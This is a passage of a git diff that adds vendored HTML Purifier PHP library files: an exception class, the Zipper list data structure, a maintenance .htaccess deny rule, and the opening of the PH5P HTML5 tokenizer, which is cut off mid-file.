+ * Exception type for HTMLPurifier_VarParser
+ */
+class HTMLPurifier_VarParserException extends HTMLPurifier_Exception
+{
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Zipper.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Zipper.php
new file mode 100644
index 000000000..6e21ea070
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Zipper.php
@@ -0,0 +1,157 @@
+<?php
+
+/**
+ * A zipper is a purely-functional data structure which contains
+ * a focus that can be efficiently manipulated. It is known as
+ * a "one-hole context". This mutable variant implements a zipper
+ * for a list as a pair of two arrays, laid out as follows:
+ *
+ * Base list: 1 2 3 4 [ ] 6 7 8 9
+ * Front list: 1 2 3 4
+ * Back list: 9 8 7 6
+ *
+ * User is expected to keep track of the "current element" and properly
+ * fill it back in as necessary. (ToDo: Maybe it's more user friendly
+ * to implicitly track the current element?)
+ *
+ * Nota bene: the current class gets confused if you try to store NULLs
+ * in the list.
+ */
+
+class HTMLPurifier_Zipper
+{
+ public $front, $back;
+
+ public function __construct($front, $back) {
+ $this->front = $front;
+ $this->back = $back;
+ }
+
+ /**
+ * Creates a zipper from an array, with a hole in the
+ * 0-index position.
+ * @param Array to zipper-ify.
+ * @return Tuple of zipper and element of first position.
+ */
+ static public function fromArray($array) {
+ $z = new self(array(), array_reverse($array));
+ $t = $z->delete(); // delete the "dummy hole"
+ return array($z, $t);
+ }
+
+ /**
+ * Convert zipper back into a normal array, optionally filling in
+ * the hole with a value. (Usually you should supply a $t, unless you
+ * are at the end of the array.)
+ */
+ public function toArray($t = NULL) {
+ $a = $this->front;
+ if ($t !== NULL) $a[] = $t;
+ for ($i = count($this->back)-1; $i >= 0; $i--) {
+ $a[] = $this->back[$i];
+ }
+ return $a;
+ }
+
+ /**
+ * Move hole to the next element.
+ * @param $t Element to fill hole with
+ * @return Original contents of new hole.
+ */
+ public function next($t) {
+ if ($t !== NULL) array_push($this->front, $t);
+ return empty($this->back) ? NULL : array_pop($this->back);
+ }
+
+ /**
+ * Iterated hole advancement.
+ * @param $t Element to fill hole with
+ * @param $i How many forward to advance hole
+ * @return Original contents of new hole, i away
+ */
+ public function advance($t, $n) {
+ for ($i = 0; $i < $n; $i++) {
+ $t = $this->next($t);
+ }
+ return $t;
+ }
+
+ /**
+ * Move hole to the previous element
+ * @param $t Element to fill hole with
+ * @return Original contents of new hole.
+ */
+ public function prev($t) {
+ if ($t !== NULL) array_push($this->back, $t);
+ return empty($this->front) ? NULL : array_pop($this->front);
+ }
+
+ /**
+ * Delete contents of current hole, shifting hole to
+ * next element.
+ * @return Original contents of new hole.
+ */
+ public function delete() {
+ return empty($this->back) ? NULL : array_pop($this->back);
+ }
+
+ /**
+ * Returns true if we are at the end of the list.
+ * @return bool
+ */
+ public function done() {
+ return empty($this->back);
+ }
+
+ /**
+ * Insert element before hole.
+ * @param Element to insert
+ */
+ public function insertBefore($t) {
+ if ($t !== NULL) array_push($this->front, $t);
+ }
+
+ /**
+ * Insert element after hole.
+ * @param Element to insert
+ */
+ public function insertAfter($t) {
+ if ($t !== NULL) array_push($this->back, $t);
+ }
+
+ /**
+ * Splice in multiple elements at hole. Functional specification
+ * in terms of array_splice:
+ *
+ * $arr1 = $arr;
+ * $old1 = array_splice($arr1, $i, $delete, $replacement);
+ *
+ * list($z, $t) = HTMLPurifier_Zipper::fromArray($arr);
+ * $t = $z->advance($t, $i);
+ * list($old2, $t) = $z->splice($t, $delete, $replacement);
+ * $arr2 = $z->toArray($t);
+ *
+ * assert($old1 === $old2);
+ * assert($arr1 === $arr2);
+ *
+ * NB: the absolute index location after this operation is
+ * *unchanged!*
+ *
+ * @param Current contents of hole.
+ */
+ public function splice($t, $delete, $replacement) {
+ // delete
+ $old = array();
+ $r = $t;
+ for ($i = $delete; $i > 0; $i--) {
+ $old[] = $r;
+ $r = $this->delete();
+ }
+ // insert
+ for ($i = count($replacement)-1; $i >= 0; $i--) {
+ $this->insertAfter($r);
+ $r = $replacement[$i];
+ }
+ return array($old, $r);
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/maintenance/.htaccess b/vendor/ezyang/htmlpurifier/maintenance/.htaccess
new file mode 100644
index 000000000..3a4288278
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/.htaccess
@@ -0,0 +1 @@
+Deny from all
diff --git a/vendor/ezyang/htmlpurifier/maintenance/PH5P.php b/vendor/ezyang/htmlpurifier/maintenance/PH5P.php
new file mode 100644
index 000000000..9d83dcbf5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/PH5P.php
@@ -0,0 +1,3889 @@
+<?php
+class HTML5
+{
+ private $data;
+ private $char;
+ private $EOF;
+ private $state;
+ private $tree;
+ private $token;
+ private $content_model;
+ private $escape = false;
+ private $entities = array('AElig;','AElig','AMP;','AMP','Aacute;','Aacute',
+ 'Acirc;','Acirc','Agrave;','Agrave','Alpha;','Aring;','Aring','Atilde;',
+ 'Atilde','Auml;','Auml','Beta;','COPY;','COPY','Ccedil;','Ccedil','Chi;',
+ 'Dagger;','Delta;','ETH;','ETH','Eacute;','Eacute','Ecirc;','Ecirc','Egrave;',
+ 'Egrave','Epsilon;','Eta;','Euml;','Euml','GT;','GT','Gamma;','Iacute;',
+ 'Iacute','Icirc;','Icirc','Igrave;','Igrave','Iota;','Iuml;','Iuml','Kappa;',
+ 'LT;','LT','Lambda;','Mu;','Ntilde;','Ntilde','Nu;','OElig;','Oacute;',
+ 'Oacute','Ocirc;','Ocirc','Ograve;','Ograve','Omega;','Omicron;','Oslash;',
+ 'Oslash','Otilde;','Otilde','Ouml;','Ouml','Phi;','Pi;','Prime;','Psi;',
+ 'QUOT;','QUOT','REG;','REG','Rho;','Scaron;','Sigma;','THORN;','THORN',
+ 'TRADE;','Tau;','Theta;','Uacute;','Uacute','Ucirc;','Ucirc','Ugrave;',
+ 'Ugrave','Upsilon;','Uuml;','Uuml','Xi;','Yacute;','Yacute','Yuml;','Zeta;',
+ 'aacute;','aacute','acirc;','acirc','acute;','acute','aelig;','aelig',
+ 'agrave;','agrave','alefsym;','alpha;','amp;','amp','and;','ang;','apos;',
+ 'aring;','aring','asymp;','atilde;','atilde','auml;','auml','bdquo;','beta;',
+ 'brvbar;','brvbar','bull;','cap;','ccedil;','ccedil','cedil;','cedil',
+ 'cent;','cent','chi;','circ;','clubs;','cong;','copy;','copy','crarr;',
+ 'cup;','curren;','curren','dArr;','dagger;','darr;','deg;','deg','delta;',
+ 'diams;','divide;','divide','eacute;','eacute','ecirc;','ecirc','egrave;',
+ 'egrave','empty;','emsp;','ensp;','epsilon;','equiv;','eta;','eth;','eth',
+ 'euml;','euml','euro;','exist;','fnof;','forall;','frac12;','frac12',
+ 'frac14;','frac14','frac34;','frac34','frasl;','gamma;','ge;','gt;','gt',
+ 'hArr;','harr;','hearts;','hellip;','iacute;','iacute','icirc;','icirc',
+ 'iexcl;','iexcl','igrave;','igrave','image;','infin;','int;','iota;',
+ 'iquest;','iquest','isin;','iuml;','iuml','kappa;','lArr;','lambda;','lang;',
+ 'laquo;','laquo','larr;','lceil;','ldquo;','le;','lfloor;','lowast;','loz;',
+ 'lrm;','lsaquo;','lsquo;','lt;','lt','macr;','macr','mdash;','micro;','micro',
+ 'middot;','middot','minus;','mu;','nabla;','nbsp;','nbsp','ndash;','ne;',
+ 'ni;','not;','not','notin;','nsub;','ntilde;','ntilde','nu;','oacute;',
+ 'oacute','ocirc;','ocirc','oelig;','ograve;','ograve','oline;','omega;',
+ 'omicron;','oplus;','or;','ordf;','ordf','ordm;','ordm','oslash;','oslash',
+ 'otilde;','otilde','otimes;','ouml;','ouml','para;','para','part;','permil;',
+ 'perp;','phi;','pi;','piv;','plusmn;','plusmn','pound;','pound','prime;',
+ 'prod;','prop;','psi;','quot;','quot','rArr;','radic;','rang;','raquo;',
+ 'raquo','rarr;','rceil;','rdquo;','real;','reg;','reg','rfloor;','rho;',
+ 'rlm;','rsaquo;','rsquo;','sbquo;','scaron;','sdot;','sect;','sect','shy;',
+ 'shy','sigma;','sigmaf;','sim;','spades;','sub;','sube;','sum;','sup1;',
+ 'sup1','sup2;','sup2','sup3;','sup3','sup;','supe;','szlig;','szlig','tau;',
+ 'there4;','theta;','thetasym;','thinsp;','thorn;','thorn','tilde;','times;',
+ 'times','trade;','uArr;','uacute;','uacute','uarr;','ucirc;','ucirc',
+ 'ugrave;','ugrave','uml;','uml','upsih;','upsilon;','uuml;','uuml','weierp;',
+ 'xi;','yacute;','yacute','yen;','yen','yuml;','yuml','zeta;','zwj;','zwnj;');
+
+ const PCDATA = 0;
+ const RCDATA = 1;
+ const CDATA = 2;
+ const PLAINTEXT = 3;
+
+ const DOCTYPE = 0;
+ const STARTTAG = 1;
+ const ENDTAG = 2;
+ const COMMENT = 3;
+ const CHARACTR = 4;
+ const EOF = 5;
+
+ public function __construct($data)
+ {
+ $data = str_replace("\r\n", "\n", $data);
+ $date = str_replace("\r", null, $data);
+
+ $this->data = $data;
+ $this->char = -1;
+ $this->EOF = strlen($data);
+ $this->tree = new HTML5TreeConstructer;
+ $this->content_model = self::PCDATA;
+
+ $this->state = 'data';
+
+ while($this->state !== null) {
+ $this->{$this->state.'State'}();
+ }
+ }
+
+ public function save()
+ {
+ return $this->tree->save();
+ }
+
+ private function char()
+ {
+ return ($this->char < $this->EOF)
+ ? $this->data[$this->char]
+ : false;
+ }
+
+ private function character($s, $l = 0)
+ {
+ if($s + $l < $this->EOF) {
+ if($l === 0) {
+ return $this->data[$s];
+ } else {
+ return substr($this->data, $s, $l);
+ }
+ }
+ }
+
+ private function characters($char_class, $start)
+ {
+ return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start));
+ }
+
+ private function dataState()
+ {
+ // Consume the next input character
+ $this->char++;
+ $char = $this->char();
+
+ if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) {
+ /* U+0026 AMPERSAND (&)
+ When the content model flag is set to one of the PCDATA or RCDATA
+ states: switch to the entity data state. Otherwise: treat it as per
+ the "anything else" entry below. */
+ $this->state = 'entityData';
+
+ } elseif($char === '-') {
+ /* If the content model flag is set to either the RCDATA state or
+ the CDATA state, and the escape flag is false, and there are at
+ least three characters before this one in the input stream, and the
+ last four characters in the input stream, including this one, are
+ U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS,
+ and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */
+ if(($this->content_model === self::RCDATA || $this->content_model ===
+ self::CDATA) && $this->escape === false &&
+ $this->char >= 3 && $this->character($this->char - 4, 4) === '<!--') {
+ $this->escape = true;
+ }
+
+ /* In any case, emit the input character as a character token. Stay
+ in the data state. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ ));
+
+ /* U+003C LESS-THAN SIGN (<) */
+ } elseif($char === '<' && ($this->content_model === self::PCDATA ||
+ (($this->content_model === self::RCDATA ||
+ $this->content_model === self::CDATA) && $this->escape === false))) {
+ /* When the content model flag is set to the PCDATA state: switch
+ to the tag open state.
+
+ When the content model flag is set to either the RCDATA state or
+ the CDATA state and the escape flag is false: switch to the tag
+ open state.
+
+ Otherwise: treat it as per the "anything else" entry below. */
+ $this->state = 'tagOpen';
+
+ /* U+003E GREATER-THAN SIGN (>) */
+ } elseif($char === '>') {
+ /* If the content model flag is set to either the RCDATA state or
+ the CDATA state, and the escape flag is true, and the last three
+ characters in the input stream including this one are U+002D
+ HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"),
+ set the escape flag to false. */
+ if(($this->content_model === self::RCDATA ||
+ $this->content_model === self::CDATA) && $this->escape === true &&
+ $this->character($this->char, 3) === '-->') {
+ $this->escape = false;
+ }
+
+ /* In any case, emit the input character as a character token.
+ Stay in the data state. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ ));
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Emit an end-of-file token. */
+ $this->EOF();
+
+ } elseif($this->content_model === self::PLAINTEXT) {
+ /* When the content model flag is set to the PLAINTEXT state
+ THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of
+ the text and emit it as a character token. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => substr($this->data, $this->char)
+ ));
+
+ $this->EOF();
+
+ } else {
+ /* Anything else
+ THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that
+ otherwise would also be treated as a character token and emit it
+ as a single character token. Stay in the data state. */
+ $len = strcspn($this->data, '<&', $this->char);
+ $char = substr($this->data, $this->char, $len);
+ $this->char += $len - 1;
+
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ ));
+
+ $this->state = 'data';
+ }
+ }
+
+ private function entityDataState()
+ {
+ // Attempt to consume an entity.
+ $entity = $this->entity();
+
+ // If nothing is returned, emit a U+0026 AMPERSAND character token.
+ // Otherwise, emit the character token that was returned.
+ $char = (!$entity) ? '&' : $entity;
+ $this->emitToken($char);
+
+ // Finally, switch to the data state.
+ $this->state = 'data';
+ }
+
+ private function tagOpenState()
+ {
+ switch($this->content_model) {
+ case self::RCDATA:
+ case self::CDATA:
+ /* If the next input character is a U+002F SOLIDUS (/) character,
+ consume it and switch to the close tag open state. If the next
+ input character is not a U+002F SOLIDUS (/) character, emit a
+ U+003C LESS-THAN SIGN character token and switch to the data
+ state to process the next input character. */
+ if($this->character($this->char + 1) === '/') {
+ $this->char++;
+ $this->state = 'closeTagOpen';
+
+ } else {
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => '<'
+ ));
+
+ $this->state = 'data';
+ }
+ break;
+
+ case self::PCDATA:
+ // If the content model flag is set to the PCDATA state
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->char();
+
+ if($char === '!') {
+ /* U+0021 EXCLAMATION MARK (!)
+ Switch to the markup declaration open state. */
+ $this->state = 'markupDeclarationOpen';
+
+ } elseif($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Switch to the close tag open state. */
+ $this->state = 'closeTagOpen';
+
+ } elseif(preg_match('/^[A-Za-z]$/', $char)) {
+ /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
+ Create a new start tag token, set its tag name to the lowercase
+ version of the input character (add 0x0020 to the character's code
+ point), then switch to the tag name state. (Don't emit the token
+ yet; further details will be filled in before it is emitted.) */
+ $this->token = array(
+ 'name' => strtolower($char),
+ 'type' => self::STARTTAG,
+ 'attr' => array()
+ );
+
+ $this->state = 'tagName';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and a
+ U+003E GREATER-THAN SIGN character token. Switch to the data state. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => '<>'
+ ));
+
+ $this->state = 'data';
+
+ } elseif($char === '?') {
+ /* U+003F QUESTION MARK (?)
+ Parse error. Switch to the bogus comment state. */
+ $this->state = 'bogusComment';
+
+ } else {
+ /* Anything else
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and
+ reconsume the current input character in the data state. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => '<'
+ ));
+
+ $this->char--;
+ $this->state = 'data';
+ }
+ break;
+ }
+ }
+
+ private function closeTagOpenState()
+ {
+ $next_node = strtolower($this->characters('A-Za-z', $this->char + 1));
+ $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName;
+
+ if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) &&
+ (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/',
+ $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) {
+ /* If the content model flag is set to the RCDATA or CDATA states then
+ examine the next few characters. If they do not match the tag name of
+ the last start tag token emitted (case insensitively), or if they do but
+ they are not immediately followed by one of the following characters:
+ * U+0009 CHARACTER TABULATION
+ * U+000A LINE FEED (LF)
+ * U+000B LINE TABULATION
+ * U+000C FORM FEED (FF)
+ * U+0020 SPACE
+ * U+003E GREATER-THAN SIGN (>)
+ * U+002F SOLIDUS (/)
+ * EOF
+ ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character
+ token, a U+002F SOLIDUS character token, and switch to the data state
+ to process the next input character. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => '</'
+ ));
+
+ $this->state = 'data';
+
+ } else {
+ /* Otherwise, if the content model flag is set to the PCDATA state,
+ or if the next few characters do match that tag name, consume the
+ next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if(preg_match('/^[A-Za-z]$/', $char)) {
+ /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
+ Create a new end tag token, set its tag name to the lowercase version
+ of the input character (add 0x0020 to the character's code point), then
+ switch to the tag name state. (Don't emit the token yet; further details
+ will be filled in before it is emitted.) */
+ $this->token = array(
+ 'name' => strtolower($char),
+ 'type' => self::ENDTAG
+ );
+
+ $this->state = 'tagName';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Parse error. Switch to the data state. */
+ $this->state = 'data';
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F
+ SOLIDUS character token. Reconsume the EOF character in the data state. */
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => '</'
+ ));
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Parse error. Switch to the bogus comment state. */
+ $this->state = 'bogusComment';
+ }
+ }
+ }
+
+ private function tagNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } elseif($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current tag token's tag name.
+ Stay in the tag name state. */
+ $this->token['name'] .= strtolower($char);
+ $this->state = 'tagName';
+ }
+ }
+
+ private function beforeAttributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Stay in the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Start a new attribute in the current tag token. Set that attribute's
+ name to the current input character, and its value to the empty string.
+ Switch to the attribute name state. */
+ $this->token['attr'][] = array(
+ 'name' => strtolower($char),
+ 'value' => null
+ );
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function attributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute name state. */
+ $this->state = 'afterAttributeName';
+
+ } elseif($char === '=') {
+ /* U+003D EQUALS SIGN (=)
+ Switch to the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($char === '/' && $this->character($this->char + 1) !== '>') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's name.
+ Stay in the attribute name state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['name'] .= strtolower($char);
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function afterAttributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the after attribute name state. */
+ $this->state = 'afterAttributeName';
+
+ } elseif($char === '=') {
+ /* U+003D EQUALS SIGN (=)
+ Switch to the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($char === '/' && $this->character($this->char + 1) !== '>') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the
+ before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Start a new attribute in the current tag token. Set that attribute's
+ name to the current input character, and its value to the empty string.
+ Switch to the attribute name state. */
+ $this->token['attr'][] = array(
+ 'name' => strtolower($char),
+ 'value' => null
+ );
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function beforeAttributeValueState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif($char === '"') {
+ /* U+0022 QUOTATION MARK (")
+ Switch to the attribute value (double-quoted) state. */
+ $this->state = 'attributeValueDoubleQuoted';
+
+ } elseif($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the attribute value (unquoted) state and reconsume
+ this input character. */
+ $this->char--;
+ $this->state = 'attributeValueUnquoted';
+
+ } elseif($char === '\'') {
+ /* U+0027 APOSTROPHE (')
+ Switch to the attribute value (single-quoted) state. */
+ $this->state = 'attributeValueSingleQuoted';
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Switch to the attribute value (unquoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueUnquoted';
+ }
+ }
+
+ private function attributeValueDoubleQuotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if($char === '"') {
+ /* U+0022 QUOTATION MARK (")
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState('double');
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the character
+ in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (double-quoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueDoubleQuoted';
+ }
+ }
+
+ private function attributeValueSingleQuotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if($char === '\'') {
+ /* U+0022 QUOTATION MARK (')
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState('single');
+
+ } elseif($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the character
+ in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (single-quoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueSingleQuoted';
+ }
+ }
+
+ private function attributeValueUnquotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState('non');
+
+ } elseif($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (unquoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueUnquoted';
+ }
+ }
+
+ private function entityInAttributeValueState()
+ {
+ // Attempt to consume an entity.
+ $entity = $this->entity();
+
+ // If nothing is returned, append a U+0026 AMPERSAND character to the
+ // current attribute's value. Otherwise, emit the character token that
+ // was returned.
+ $char = (!$entity)
+ ? '&'
+ : $entity;
+
+ $this->emitToken($char);
+ }
+
+ private function bogusCommentState()
+ {
+ /* Consume every character up to the first U+003E GREATER-THAN SIGN
+ character (>) or the end of the file (EOF), whichever comes first. Emit
+ a comment token whose data is the concatenation of all the characters
+ starting from and including the character that caused the state machine
+ to switch into the bogus comment state, up to and including the last
+ consumed character before the U+003E character, if any, or up to the
+ end of the file otherwise. (If the comment was started by the end of
+ the file (EOF), the token is empty.) */
+ $data = $this->characters('^>', $this->char);
+ $this->emitToken(array(
+ 'data' => $data,
+ 'type' => self::COMMENT
+ ));
+
+ $this->char += strlen($data);
+
+ /* Switch to the data state. */
+ $this->state = 'data';
+
+ /* If the end of the file was reached, reconsume the EOF character. */
+ if($this->char === $this->EOF) {
+ $this->char = $this->EOF - 1;
+ }
+ }
+
+ private function markupDeclarationOpenState()
+ {
+ /* If the next two characters are both U+002D HYPHEN-MINUS (-)
+ characters, consume those two characters, create a comment token whose
+ data is the empty string, and switch to the comment state. */
+ if($this->character($this->char + 1, 2) === '--') {
+ $this->char += 2;
+ $this->state = 'comment';
+ $this->token = array(
+ 'data' => null,
+ 'type' => self::COMMENT
+ );
+
+ /* Otherwise if the next seven chacacters are a case-insensitive match
+ for the word "DOCTYPE", then consume those characters and switch to the
+ DOCTYPE state. */
+ } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') {
+ $this->char += 7;
+ $this->state = 'doctype';
+
+ /* Otherwise, is is a parse error. Switch to the bogus comment state.
+ The next character that is consumed, if any, is the first character
+ that will be in the comment. */
+ } else {
+ $this->char++;
+ $this->state = 'bogusComment';
+ }
+ }
+
+ private function commentState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ /* U+002D HYPHEN-MINUS (-) */
+ if($char === '-') {
+ /* Switch to the comment dash state */
+ $this->state = 'commentDash';
+
+ /* EOF */
+ } elseif($this->char === $this->EOF) {
+ /* Parse error. Emit the comment token. Reconsume the EOF character
+ in the data state. */
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ /* Anything else */
+ } else {
+ /* Append the input character to the comment token's data. Stay in
+ the comment state. */
+ $this->token['data'] .= $char;
+ }
+ }
+
+ private function commentDashState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
